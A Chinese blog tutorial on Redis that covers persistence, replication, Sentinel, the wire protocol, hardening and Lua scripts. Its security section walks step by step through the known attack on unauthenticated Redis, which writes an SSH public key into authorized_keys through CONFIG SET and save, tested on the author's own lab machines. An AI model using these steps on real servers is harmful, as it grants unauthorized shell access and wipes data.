一篇学会Redis!

| 分类 数据库之redis  c/c++之数据库编程  | 标签 Mac  Linux  Ubuntu  c  c++  数据库  python  redis  nosql  持久化  内核  磁盘控制器  RDB  事件循环  阻塞  save  bgsave  fork  Copy-On-Write  vim  AOF  MySQL  binlog  AOF重写  主从  备份  slaveof  集群  sentinel  缓存  分布式缓存  分布式  lua  安全  ssh  公钥  秘钥  nginx  Redis网络协议  协议  分布式锁  zookeeper 

《一篇学会C++!》之后,又来了新的《一篇学会Redis!》

之前分别在《基于内存的键值对存储数据库Redis》《Redis下使用Lua脚本》对Redis这种NoSQL数据库简单介绍过,今天深入讲一下Redis的更多更深入的知识点

先列举一些常用的命令

  • ps -elf | grep redis 检查当前机器上和redis相关的进程信息,常用于查看redis-server是否启动
  • kill -9 pid 杀死进程号为pid的进程
  • redis-server redis-conf-path 启动redis服务,并指定配置文件路径
  • redis-cli -a password 通过密码连接到对应的redis服务端
  • redis-sentinel sentinel-conf-pathredis-server sentinel-conf-path --sentinel 可启动Sentinel
  • ssh-keygen -t rsa -C "crack@redis.com" 制作SSH秘钥和公钥
  • ssh -i id_rsa xumenger@172.16.192.153 用id_rsa秘钥文件以xumenger身份登录172.16.192.153主机

接下来介绍一下Redis的配置

Ubuntu下使用sudo apt-get install redis-server方式安装的Redis,其配置文件放在/etc/redis/redis.conf,但redis-server命令启动时并不是使用该文件作为配置文件;在Mac下使用brew install redis方式安装的Redis,其配置文件位置放在/usr/local/etc/redis.conf,但redis-server启动时并不是使用该文件作为配置文件

无论是Ubuntu还是Mac,当Redis启动时无法找到对应的配置文件都会报错

image

所以需要通过redis-server config-path的方式在redis-server命令启动时指定对应的配置文件路径,比如redis-server /etc/redis/redis.conf

Redis持久化

什么是持久化?简单来说就是将数据放到断电后数据不会丢失的设备中。在计算机领域就是把数据落地到硬盘上!

先来把Redis的写操作流程梳理一下:

  1. 客户端向服务端发送写操作(数据在客户端的内存中)
  2. 数据库服务端接收到写请求的数据(数据在服务端的内存中)
  3. 服务端调用write(2)系统调用,将数据写到磁盘上(数据在系统内存的缓冲区中)
  4. 操作系统将缓冲区中的数据转移到磁盘控制器上(数据在磁盘缓存中)
  5. 磁盘控制器将数据写到磁盘的物理介质中(数据真正落到磁盘上)

如果不走到第5步,在前四步的任何一步出现了问题,那么就出现了数据损坏、数据不一致等的问题!比如:

  • 当数据库系统故障时,假如系统内核还是OK的,那么此时只要执行完了第3步,那么数据就是安全的,因为后续步骤操作系统来完成,并保证数据最终落到磁盘上
  • 当系统断电时,这时上面提到的所有缓存都会失效,并且数据库和操作系统都会停止工作,所以只有当数据完成第5步后,机器断电才能保证数据不丢失,在上述4步中的数据都会丢失

所以需要弄清楚下面这些问题:

  1. 数据库多长时间调用一次write(2)将数据写到内核缓冲区
  2. 内核多长时间会将系统缓冲区中的数据写到磁盘控制器
  3. 磁盘控制器又在什么时候把缓存中的数据写到物理介质上

第一个问题,通常数据库层面会进行全面控制。而对于第二个问题,操作系统有其默认的策略,我们也可通过POSIX API的fsync系列命令强制操作系统将数据从内核区写到磁盘控制器上。对于第三个问题,好像数据库已经无法触及,但实际上,大多数情况下磁盘缓存是被设置关闭的,或者只开启为读缓存,也就是写操作不进行缓存,直接写到磁盘,建议的做法是仅仅当你的磁盘设备有备用电池时才开启写缓存

怎么应对数据损坏

所谓数据损坏就是数据无法恢复,上面讲到是如何保证数据确实写到磁盘上去,但写到磁盘上可能并不意味着数据不会损坏。比如可能一次写请求会进行两次不同的写操作,当意外发生时,可能会导致一次写操作完成,但另一个还没开始。如果数据库的数据文件结构组织不合理,可能会导致数据完全不能恢复的状况出现。那么一般有下面这几种策略来组织数据,防止数据文件损坏到无法恢复的情况:

  • 第一种最粗糙,不通过数据的组织形式保证数据的可恢复性。而是通过配置数据同步备份的方式,在数据文件损坏后通过数据备份方式进行恢复
  • 另一种是在上面基础上添加一个操作日志,每次操作时记录操作的行为,这样后续就可以通过操作日志进行数据恢复。因为操作日志是顺序追加的方式写的,所以不会出现操作日志也无法恢复的情况
  • 更保险的方法是数据库不进行老数据的修改,只是以追加方式完成操作,这样数据本身就是一份日志,这样就永远不会出现数据无法恢复的情况了

Redis的持久化有两种方式:RDB快照、AOF日志

RDB快照

RDB是一个二进制格式的数据库文件。Redis服务端是一个事件循环驱动的单进程程序,客户端使用bgsave命令,其借用fork的copy on write机制,在生成RDB快照时,将当前进程fork出一个子进程,然后在子进程中循环所有的数据,将数据写成为RDB文件,而住进程继续接受客户端请求,完全没有被阻塞!但是如果客户端使用save命令的话,那么服务端不是通过fork子进程而是自己来执行保存工作,那么这时候就会阻塞服务端进程!

可以用Redis的save/bgsave指令来强制生成RDB文件,比如在客户端分别执行以下命令

set name 'xumenger'
set age 120

lpush list "redis"
lpush list "mysql"

sadd set "github"
sadd set "gitlab"
sadd set "gitbook"

hmset hash test "test hash"

然后执行save命令,这时候我们来到redis.conf中dir配置项指定的Redis运行的目录,一般是Linux是/var/lib/redis,Mac是/usr/local/var/db/redis/,可以看到有一个dump.rdb文件,然后我们可以使用vim(vim -b dump.rdb,然后:%!xxd查看其16进制格式)来查看该二进制文件(或者用od -c dump.rdb命令)

image

参考《Redis RDB格式》了解详细的RDB文件格式!

可以在配置文件中添加配置,让Redis在运行的时候根据配置来自动保存数据为RDB格式

save 900 1
save 300 10
save 60 10000

其中save 900 1的意思是服务端在900s之内,对数据进行至少一次修改就保存,上面配置的三个条件,只要满足其中一个Redis就会保存RDB文件。另外需要注意的是,虽然这里配置的是save,但实际上在保存RDB的时候使用的bgsave而不是save方式

RDB也是Redis主从同步内部实现的一环

  • 第一次Slave向Master发出同步请求,Master先dump出RDB文件,然后将RDB文件全量传输给Slave,然后Master把缓存的命令转发给Slave,初次同步完成
  • 第二次以及以后的同步实现是Master将变量的快照直接实时依次发生给各个Slave
  • 但不管什么原因导致Slave和Master断开重连都会重复以上两个步骤的过程

AOF日志

RDB方式有其不足之处,就是一旦数据库出现问题,那我们的RDB文件中保存的数据并不是最新的,从上次RDB文件生成到Redis停机这段时间的数据全部丢掉了。AOF(Append-Only File)比RDB方式有更好的持久性。由于在使用AOF持久化方式时,Redis会将每一个收到的写命令都通过Write函数追加到文件中,类似于MySQL的binlog。当Redis重启是会通过重新执行文件中保存的写命令来在内存中重建整个数据库的内容

不过和一般数据库的binlog不同的是,AOF文件是可识别的纯文本,它的内容就是一个个的Redis标准命令。我们可以在任务启动的时候redis-server --appendonly yes开启AOF功能

同样是在客户端分别执行下面的写命令

set name 'xumenger'
set age 120

lpush list "redis"
lpush list "mysql"

sadd set "github"
sadd set "gitlab"
sadd set "gitbook"

hmset hash test "test hash"

然后在redis-server的运行目录下查看appendonly.aof文件,其内容大概是

image

被写入AOF文件的所有命令都是以Redis命令请求协议格式写入的,因为Redis的命令请求协议是纯文本格式。关于Redis的协议格式会在后续讲解

显然,如果每条写命令都生成一条日志,那么AOF文件会越变越大,所以Redis又提供了一个新功能,叫做AOF重写,其功能就是重新生成一份AOF文件,新的AOF文件中一条记录的操作只会有一次,而不像一份老文件那样可能记录了对同一值的多次写操作。其生成过程和RDB类似,也是fork一个进程,直接遍历数据,写入新的AOF临时文件。在写入新文件的过程中,所有的写操作日志还是会写到原来老的AOF文件中,同时还会记录在内存缓冲区中。当重写操作完成后,会将所有缓冲区中的日志一次性写入到临时文件中。然后调用原子性的rename命令用新的AOF文件取代老的AOF文件

从上面的流程我们能够看到,RDB和AOF操作都是顺序IO操作,性能都很高。而同时在通过RDB文件或者AOF日志进行数据库恢复的时候,也是顺序的读取数据加载到内存中。所以也不会造成磁盘的随机读

AOF可靠性配置在配置文件中可以这么设置:

  • appendonly yes:开启AOF,默认是不开启的!
  • appendfsync no:Redis不会主动调用fsync去将AOF日志内容同步到磁盘,所以这一切就完全依赖于操作系统的调试了。对大多数Linux操作系统,是每30秒进行一次fsync,将缓冲区中的数据写到磁盘上
  • appendfsync everysec:Redis会默认每隔一秒进行一次fsync调用,将缓冲区中的数据写到磁盘。但是当这一次的fsync调用时长超过1秒时。Redis会采取延迟fsync的策略,再等一秒钟。也就是在两秒后再进行fsync,这一次的fsync就不管会执行多长时间都会进行。这时候由于在fsync时文件描述符会被阻塞,所以当前的写操作就会阻塞
  • appednfsync always:每一次写操作都会调用一次fsync,这时数据是最安全的,当然,由于每次都会执行fsync,所以其性能也会受到影响

Redis主从机制

接下来的测试,先把上面演示中Redis中的数据删除,简单的方法就是关闭Redis,删除RDB、AOF文件,然后重启Redis即可

在Redis中,用户可以通过执行slaveof命令或者设置slaveof选项,让一个服务器去复制另一个服务器,我们称被复制的服务器为主服务器(Master),而对服务器进行复制的服务器则被称为从服务器(Slave)

目前我的环境是这样的:

  • 在Mac上的Redis作为Master,IP地址是192.168.191.3
  • 在Ubuntu上的Redis作为Slave,IP地址是172.16.192.153

先在Mac上启动Master;然后在Ubuntu上redis-server命令运行Slave服务端程序,redis-cli命令连接到服务端,执行slaveof 192.168.191.3 6379,但可能在Ubuntu的服务端看到这样的报错

image

这个问题的解决方案是给Master设置密码,或者设置protected-mode no。为了安全起见,选择给Master设置密码。具体方法在后面的《Redis安全》中会讲到。在Master上配置好密码为123456后,需要修改Slave的配置文件,添加

# Master的认证密码
masterauth 123456

结果在Ubuntu上redis-server /etc/redis/redis.conf启动服务端直接无法启动,暂时未找到解决方法

重新测试

上面Ubuntu作为Slave有问题,所以我换一个测试方案(互换一下Master、Slave的身份):

  • 在Ubuntu上的Redis作为Master,IP地址是172.16.192.153
  • 在Mac上的Redis作为Slave,IP地址是192.168.191.3

先在Ubuntu上启动Master;再在Mac上执行redis-server命令启动Slave,再执行redis-cli命令连接到服务端,执行slaveof 172.16.192.153 6379,这次成功

接下来测试主备效果,Master和Slave上最初都没有数据,都执行get name都获取不到值

image

然后再Master的客户端执行set name 'xumenger',分别可以在Master和Slave上都取到值了

image

现在只能在Master的客户端对数据进行写操作,如果在Slave进行写操作,就会报错

image

OK,现在验证通过!

主从同步原理简介

当客户端向从服务器发送slaveof命令,要求从服务器复制主服务器时,从服务器首先需要执行同步操作,也就是将从服务器的数据库状态更新至主服务器当前所处的数据库状态

从服务器对主服务器的同步操作需要通过向主进程服务器发生sync命令来完成,以下是sync命令的步骤:

  • Slave向Master发生sync命令
  • 收到sync命令的Master执行bgsave命令,在后台生成一个RDB文件,并使用一个缓冲区记录从现在开始执行的所有写操作
  • 当Master的bgsave执行完毕后,Master会将bgsave命令生成的RDB文件发送给Slave
  • Slave接收并载入这个RDB文件,将自己的数据库状态更新至Master执行bgsave命令时的数据库状态
  • Master将记录在缓冲区中的所有写命令发给Slave,Slave执行这些写操作,将自己数据库状态更新至Master数据库当前所处状态

Redis集群

Sentinel是Redis的高可用性解决方案:由一个或多个Sentinel实例组成的Sentinel系统可以监控任意多个主服务器,以及这些主服务器属下的所有从服务器,并在被监视的主服务器进入下线状态时,自动将下线服务器属下的某个从服务器升级为新的主服务器,然后由新的主服务器代替已下线的主服务器继续处理命令请求!

image

redis-sentinel sentinel-confredis-server sentinel-conf --sentinel 可以启动Sentinel。当一个Sentinel启动时,它需要执行以下步骤:

  • 初始化服务器
  • 将普通Redis服务器使用的代码替换为Sentinel专用代码
  • 初始化Sentinel状态
  • 根据给定的配置文件,初始化Sentinel的监视主服务器列表
  • 创建连向主服务器的网络连接

sentinel.conf配置文件

下面展示一个简单的sentinel.conf配置文件

port 26377
# sentinel announce-ip <ip>
# sentinel announce-port <port>
dir /tmp

################################# master001 #################################
sentinel monitor master001 192.168.110.101 6379 2
# sentinel auth-pass <master-name> <password>
sentinel down-after-milliseconds master001 30000
sentinel parallel-syncs master001 1
sentinel failover-timeout master001 180000
# sentinel notification-script <master-name> <script-path>
# sentinel client-reconfig-script <master-name> <script-path>

# 可以配置多个master节点
################################# master002 #################################

接下来对配置文件的格式和配置项详细的解释一下!

  • port:当前Sentinel服务运行的端口
  • dir:Sentinel服务运行时使用的临时文件夹
  • sentinel monitor master001 192.168.110.101 6379 2
    • Sentinel去监视一个名为master001的主redis实例
    • 这个实例的地址是192.168.110.101,端口是6379
    • 而将该主实例判为失效至少要2个Sentinel进程同意,只要同意Sentinel的数量不达标,自动failover就不会执行
  • sentinel down-after-milliseconds master001 30000
    • 指定了Sentinel认为Redis实例已经失效所需的毫秒数
    • 当实例超过该时间没有返回PING,或者直接返回错误,那么Sentinel将这个实例标记为主观下线
    • 只有一个 Sentinel进程将实例标记为主观下线并不一定会引起实例的自动故障迁移
    • 只有在足够数量的Sentinel都将一个实例标记为主观下线之后,实例才会被标记为客观下线,这时自动故障迁移才会执行
  • sentinel parallel-syncs master001 1
    • 指定了在执行故障转移时,最多可以有多少个从Redis实例在同步新的主实例
    • 在从Redis实例较多的情况下这个数字越小,同步的时间越长,完成故障转移所需的时间就越长
  • sentinel failover-timeout master001 180000
    • 如果在该时间(ms)内未能完成failover操作,则认为该failover失败
  • sentinel notification-script
    • 指定sentinel检测到该监控的redis实例指向的实例异常时,调用的报警脚本。该配置项可选,但很常用

实际实验感受运行效果

所有的机器都部署在Ubuntu上,不对外,所以IP地址统一为127.0.0.1

  • Master:127.0.0.1 6379
  • Slave:127.0.0.1 6389
  • Sentinel:127.0.0.1 26377
  • Sentinel:127.0.0.1 26378

新增一个Slave,让其运行在Ubuntu上,其它的配置不要,只为其新增配置文件redis-1.conf,只修改端口,保证不和Unutu的Master冲突,并且设置其Master

# 设置端口
port 6389

# 设置RDB文件的地址
dir "/home/xumenger/Desktop/code/redis/"

# 设置Master
slaveof 127.0.0.1 6379

继续上面的配置,把Sentinel设置在Ubuntu上运行,配置文件内容如下(另外一个哨兵的端口是26378)

port 26377
# sentinel announce-ip <ip>
# sentinel announce-port <port>
dir /tmp

################################# master001 #################################
sentinel monitor master001 127.0.0.1 6379 1
# sentinel auth-pass <master-name> <password>
sentinel down-after-milliseconds master001 15000
sentinel parallel-syncs master001 1
sentinel failover-timeout master001 180000
# sentinel notification-script <master-name> <script-path>
# sentinel client-reconfig-script <master-name> <script-path>

然后在Ubuntu上启动一个Sentinel,其运行起来大概是这样的,可以看到这个Sentinel正确的输出了Master和Slave的信息

image

然后再启动另一个Sentinel,可以看到这时候输出了Master、Slave、另一个Sentinel的信息

image

然后通过redis-cli -p 26377登录到其中一个哨兵,执行sentinel master master001可以查看master001的信息

image

试着停掉Slave 6389,然后Sentinel输出信息是这样的,根据配置可能要稍微等一会才会输出这个信息

image

再启动Slave 6389,Sentinel输出的信息是这样的

image

停掉Sentinel 26377,然后在Sentinel 26378上看到这样的信息

image

然后再启动Sentinel 26377,在Sentinel 26378上看到这样的信息

image

停掉Master 6379,在Sentinel 26377上看到输出信息

image

这时候Sentinel选举Slave 6389作为新的Master,我们可以在登录Sentinel,执行sentinel master master001可以查看master001的信息,其确实变成了监听6389的那个服务器程序

image

这里只是简单的演示了一下Sentinel切换Master的效果,让你感受一下,实际上可以配置成更为强大的架构模式!

Redis的C++客户端

hiredis是Redis提供的官方客户端Library

执行下面的命令进行安装

git clone https://github.com/redis/hiredis
cd hiredis
make
sudo make install (复制生成的库到/usr/local/lib目录下)

下面使用hiredis编写测试程序

#include <hiredis/hiredis.h>
#include <iostream>
#include <string>

using namespace std;

int main()
{
    //2s的超时时间
    struct timeval timeout = {2, 0};

    //redisContext是Redis的操作对象
    redisContext *redis = (redisContext *)redisConnectWithTimeout("172.16.192.153", 6379, timeout);
    if(NULL == redis || redis->err){
        if(redis){
            cout << "connect error: " << redis->errstr << endl;
        }
        else{
            cout << "connect error: can't allocate redis context." << endl;
        }
        return -1;
    }

    //redisReply是redis命令回复对象,redis返回的信息保存在redisReply对象中
    redisReply *reply = (redisReply *)redisCommand(redis, "get name");
    cout << "get name" << endl;
    cout << reply->str << endl << endl << endl;

    //当多条redis命令使用同一个redisReply对象时
    //每次执行完redis命令后需清空redisReply,以免对下次redis操作造成影响
    freeReplyObject(reply);


    reply = (redisReply *)redisCommand(redis, "INFO"); //执行info命令
    cout << "INFO" << endl;
    cout << reply->str << endl;

    freeReplyObject(reply);

    return 0;
}

g++ test.cpp -o test -lhiredis编译,运行程序的效果如下

image

Redis协议详解

在上面介绍AOF文件的时候,讲到AOF文件中就是直接存储Redis命令的协议格式,这里就来看一下Redis的协议细节

Redis是以行来划分,每行以\r\n结束的。每一行都有一个消息头,消息头共分为5种分别如下:

  • + 表示一个正确的状态信息,具体信息是当前行 + 后面的字符
  • - 表示一个错误信息,具体信息是当前行 - 后面的字符
  • * 表示消息体总共有多少行,不包括当前行,* 后面是具体的行首
  • $ 表示下一行数据长度,不包括换行符长度\r\n,$ 后面则是对应长度的数据
  • : 表示返回一个数值,: 后面是相应的数字节符

SET命令

SET HENRY HENRYFAN

以上命令是设置HENRY的值为HENRYFAN,在Redis的通信协议上会以空格把命令拆分成三行,得到最终的命令

*3\r\n
$3\r\n
SET\r\n
$5\r\n
HENRY\r\n
$8\r\n
HENRYFAN\r\n

如果操作成功,服务端返回信息

+OK\r\n

否则服务端返回

-错误信息\r\n

HMGET命令

HMGET HENRY QQ

以上命令是获取HENTY的QQ信息

*3\r\n
$5\r\n
HMGET\r\n
$5\r\n
HENRY\r\n
$2\r\n
QQ\r\n

如果不存在字段值,服务端返回

*1\r\n
$-1\r\n

如果存在字段,则返回

*1\r\n
$8\r\n
12345678\r\n

Redis安全

Redis从设计上来说是用来被可信的客户端访问的,这就意味着不适于暴露给外部环境里的非可信客户端访问!

最佳的实践方案是在Redis前面加一个访问控制层,校验用户请求。另外就是Redis本身也提供了一些简单的配置来满足基本的安全需求

另外本节也会展示利用Redis的漏洞对其进行攻击的详细步骤!

Redis设置密码

在Redis的配置文件中找到requirepass配置项,修改成自己需要的密码,然后redis-server /usr/local/etc/redis.conf重启即可,比如修改为:

# 设置Redis密码
requirepass 123456

然后客户端登录的时候都必须输入设置的密码了redis-cli -a 123456,另外Slave不能直接使用slaveof MasterIP地址 6379命令,而必须先在配置文件中设置masterauth 123456才行

由于Redis的性能极高,并且输入错误密码后Redis并不会进行主动延迟(考虑到Redis的单线程模型),所以攻击者可以通过穷举法破解Redis的密码(1秒内能够尝试十几万个密码),因此在设置时一定要选择复杂的密码

IP安全配置

Redis默认情况下会绑定在0.0.0.0:6379,这样会将Redis服务暴露在公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis,以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功地在Redis服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器!

黑客攻击的基本方法是:

  • 扫描Redis端口,直接登录没有访问控制的Redis
  • 修改Redis存盘配置:config set dir /root/.ssh; config set dbfilename /root/.ssh/authorized_keys
  • 添加key:crackit,将其设置为新的公钥
  • 然后就可以登录到这台服务器,为所欲为了!

首先建议添加如下配置项,来禁用远程DB文件地址

# 禁用危险的命令
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

另外为Redis服务创建单独的用户和Home目录,并配置禁止登陆

为Redis添加密码认证,这个在上面有详细的讲到

另外就是禁止外网访问Redis,修改配置文件

# 禁止外网访问
bind 127.0.0.1

如果确实存在需要外网访问Redis的场景怎么办?其实说只能绑定在127.0.0.1上有点走极端了,只要保证是在安全的沙盒环境中就行,比如企业的内部网络系统,只要保证外网无法直接访问到该IP地址就可以!

重现Redis安全攻击

上面讲到了如果Redis进行任何安全设置的话,就可能被黑客攻击,下面我来复现一下这个攻击手法(我选择我的Ubuntu作为被攻击对象,Mac作为攻击发起方)

假定知道服务器的端口是172.16.192.153,Redis默认的端口是6379(如果修改了绑定端口,那么可以扫描端口并试出来是哪个端口)。然后我在192.168.191.3这台机器上通过telnet试着连接一下

image

接着ssh-keygen -t rsa -C "crack@redis.com"制作SSH秘钥和公钥

image

然后把公钥写入到一个txt文件,比如pub.txt:

(echo -e "\n\n"; cat id_rsa.pub ; echo -e "\n\n") > pub.txt

然后在当前机器上连接redis-cli -h 172.16.192.153到没有安全防护的Redis服务器,然后依次执行下面的命令

# 先通过本地Redis客户端连接到服务器
$ redis-cli -h 172.16.192.153

# 然后执行Redis的FLUSHALL命令将数据库清空
172.16.192.153:6379> FLUSHALL
OK

# 退出Redis客户端
172.16.192.153:6379> QUIT

# 使用下面命令设置一个新的键值对,将公钥信息写到值中
$ cat pub.txt | redis-cli -h 172.16.192.153 -x set crackit

然后重新连接到要攻击的Redis服务端,分别执行下面的命令,设置新的RDB路径,并将数据保存到RDB

# 连接到Redis服务端
$ redis-cli -h 172.16.192.153

# 设置新的RDB文件路径
172.16.192.153:6379> CONFIG SET dir /home/xumenger/.ssh
OK
172.16.192.153:6379> CONFIG GET dir
1) "dir"
2) "/home/xumenger/.ssh"

# 设置新的RDB文件名称,并保存数据,现在新的公钥覆盖了原来的SSH公钥
172.16.192.153:6379> CONFIG SET dbfilename "authorized_keys"
OK
172.16.192.153:6379> save
OK

上面是要攻击Ubuntu的xumenger用户,同样的,我们也可以试着攻击root用户,那么需要Redis服务端有root权限

好的接下来,我试着用SSH登录到Ubuntu。这里先说一下,如果Ubuntu上没有启动SSH服务也不行,所以为了测试,我先在Ubuntu上安装并启动SSH服务

$ sudo apt-get update
$ sudo apt-get install openssh-server
$ /etc/init.d/ssh start

然后在Mac上通过ssh -i id_rsa xumenger@172.16.192.153命令即可完成登录

image

OK,登录成功!现在可以为所欲为了!

使用Lua记录短时间内频繁访问网页的IP

Lua的使用可以参考《Lua简明教程》快速学习。另外在《Redis下使用Lua脚本》中初步介绍了如何在Redis下使用Lua脚本,不过很明显,这篇文章有点水,除了试了一下运行效果,没有太多实际意义!

本节和下节通过实际一点的例子更好的展示Redis下Lua的用法

参考《Redis执行Lua脚本详细实例》

通过Lua脚本高效实现一个访问频率控制,某个IP在短时间内频繁访问页面,需要记录并检测出来

在Redis客户端机器上,新建一个ratelimiting.lua

local times = redis.call('incr', KEYS[1])
if times == 1 then
    redis.call('expire', KEYS[1], ARGV[1])
end

if times > tonumber(ARGV[2]) then
    return 0
end
return 1

先说明一下上面脚本中用到的两个Redis命令:

  • incr key:将key中存储的数字值增一。若key不存在,则key的值会先被初始化为0,然后再执行incr操作
  • expire key seconds:为key值设置生存时间,当key过期时,它会被自动删除,Redis内部用定时器实现

在Redis客户端机器上,如何测试这个脚本呢?

redis-cli --eval ratelimiting.lua rate.limitingl:127.0.0.1 , 10 3
  • --eval参数是告诉redis-cli读取并运行后面的Lua脚本
  • ratelimiting.lua是脚本的位置
  • 后面跟着传给Lua脚本的参数
    • , 之前的rate.limitingl:127.0.0.1是要操作的键,可以在脚本中用KEYS[1]获取
    • , 之后的10和3是参数,在脚本中通过ARGV[1]和ARGV[2]获得
    • 注:, 两边的空格不能省略,否则会出错

所以结合脚本和命令参数可知其作用是将访问频率限制为每10秒最多3次,所以在终端中不断的运行此命令会发现当访问频率在10秒内小于或等于3次时返回1,否则返回0

image

基于Redis Lua脚本实现的分布式锁

转载自《基于Redis Lua脚本实现的分布式锁》,原文是《Distributed locks using Redis》

因为基于会话实现的zookeeper锁性能不够,所以想到使用redis来实现一个分布式锁

image

锁是编程中常见的概念:在计算机科学中,锁是一种在多线程环境中用于强行限制资源访问的同步机制。锁被设计用于执行一个互斥的并发控制策略

简单的说,锁是一个单一的参考点,多个线程基于它来检查是否允许访问资源。例如,一个想写数据的线程,它必须先检查是否存在一个写锁。如果写锁存在,需要等待直到锁释放后它才能获取到属于它的锁并执行写操作。这样,通过锁就可以避免多个线程的同时写造成的数据冲突

现代的操作系统提供了内置的函数来帮助程序员实现并发控制,例如flock等,但如果多线程的程序运行在多台机器上呢?如何在分布式系统下控制对资源的访问呢?

首先,我们需要一个所有线程都可以访问到的地方来存储锁。这个锁只能存在一个地方,从而保证只有一个权威的地方可以定义锁的建立和释放。Redis是实现锁的一个理想的候选方案。作为一个轻量级的内存数据库,快速、事务性和一致性是选择Redis作为锁服务的主要原因

锁本身的设计很简单,就是Redis数据库中一个简单的Key。建立和释放锁并保证绝对的安全,是这个锁的设计比较棘手的地方。有两个潜在的陷阱:

  • 应用程序通过网络和Redis交互,这意味着从应用程序发出命令到Redis结果返回之间会有延迟。这段时间内,Redis可能正在运行其它的命令,而Redis内数据的状态可能不是你的程序所期待的。如何保证程序中获取锁的线程和其它线程不发生冲突
  • 如果程序在获取锁之后突然crash,而无法释放它?这个锁会一直存在导致程序进入饿死(也就是死锁)

建立锁

可能想到的最简单的方法是“用get方法检查锁,如果锁不存在,就用set设置一个值”

但很明显这种方法不能保证锁独占,因为get和set操作之间存在延迟,我们没法知道“发送命令”到“Redis服务器返回结果”之间的这段时间内是否有其他线程也去建立锁。当然这些都发生在几毫秒之内,发生的可能性相当低。但如果在一个繁忙的环境中运行着大量的并发线程和命令,那么概率就不是这么低了

为了解决这个问题,应该用setnx命令。setnx命令消除了get命令需要等待返回值的问题,setnx只有在key不存在时才返回成功。这意味着只有一个线程可以成功运行setinx命令,而其他线程会失败,然后不断重试,直到它们能建立锁

释放锁

一旦线程成功执行了setnx命令,它就建立了锁并且可以基于资源进行工作。工作完成后,线程需要通过删除Redis的key来释放这个锁,从而允许其他线程能尽快的获取锁

尽管如此,也有需要小心的地方!回顾前面说的第2个陷阱,如果这个程序crash了,那么它永远都不会删除Redis的key,那么这个锁就一直存在,那么其他的程序就会因为等待这个锁而一直阻塞!

锁的存活时间

我们可以给锁加一个存活时间(TTL),这样一旦TTL超时,这个锁的key就会被Redis自动删除。任何由于程序错误而遗留下来的锁在一个合适的时间后会被释放,从而避免死锁

这纯粹是一个安全特性,更有效的方式仍然是确保尽量在线程里面释放锁

可以通过pexpire命令为Redis的key设置TTL,而且线程里面可以通过multi/exec事务的方式在setnx命令后立即执行,例如

multi
setnx lock-key
pexpire 10000 lock-key
exec

尽管如此,还会产生另外一个问题,pexpire没有判断setnx命令的返回结果,无论如何都会设置新的TTL。如果这个地方无法获取到锁或有异常,那么多个线程每次想获取锁时,都会频繁更新key的TTL,这样会一直延长key的TTL,导致key永远都不会过期。为了解决这个问题,我们需要Redis在一个命令里面处理这个逻辑。我们可以通过Redis脚本的方式来实现

如果不采用脚本的方式来实现,可以使用Redis 2.6.12之后版本set命令的px和nx参数来实现。为了兼容2.6.0之前的版本,还是采用脚本的方式实现

Redis脚本实现

由于Redis支持脚本,我们可以写一个Lua脚本在Redis服务端运行多个Redis命令。应用程序通过一条evalsha命令就可以直接调用被Redis服务端缓存的脚本。这里强大的地方在于你的程序只需要运行一条命令(脚本)就可以以食物的方式运行多个Redis命令,还能避免并发冲突,因为一个Redis脚本同一时刻只能运行一次

这里是Redis里面一个设置带TTL的锁的Lua脚本

--Set a Lock
--KEYS[1]  - key
--KEYS[2]  - ttl in ms
--KEYS[3]  -- lock content

local key = KEYS[1]
local ttl = KEYS[2]
local content = KEYS[3]

local lockSet = redis.call('setnx', key, content)
if lockSet == 1 then
    redis.call('pexpire', key, ttl)
end

return lockSet

从这个脚本可以很清楚的看到,我们通过在锁上只运行pexpire命令就解决了前面提到的“无休止的TTL”问题

这里对Lua只是讲到了怎么在Redis中使用,另外的像Lua的设计实现、Lua的虚拟机和指令集这些东西完全没有涉及到,所以也许后面我会再梳理出一篇新的文章:《一篇学会Lua!》

扩展内容:Nginx

Lua脚本是一个很轻量级的脚本,也是号称性能最高的脚本,用在很多需要性能的地方,比如本文提到的Redis、游戏脚本、WireShark的脚本,其实在Nginx中也可以使用Lua进行定制

在Web中Nginx常被用作静态HTTP服务器、反向代理服务器、负载均衡等等,所以也是一个很强大的很值得研究的架构组件!

对于Nginx的讲解是后续会花时间专门整理出来的,比如整个《一篇学会Nginx》

参考资料




如果本篇文章对您有所帮助,您可以通过微信(左)或支付宝(右)对作者进行打赏!


上一篇     下一篇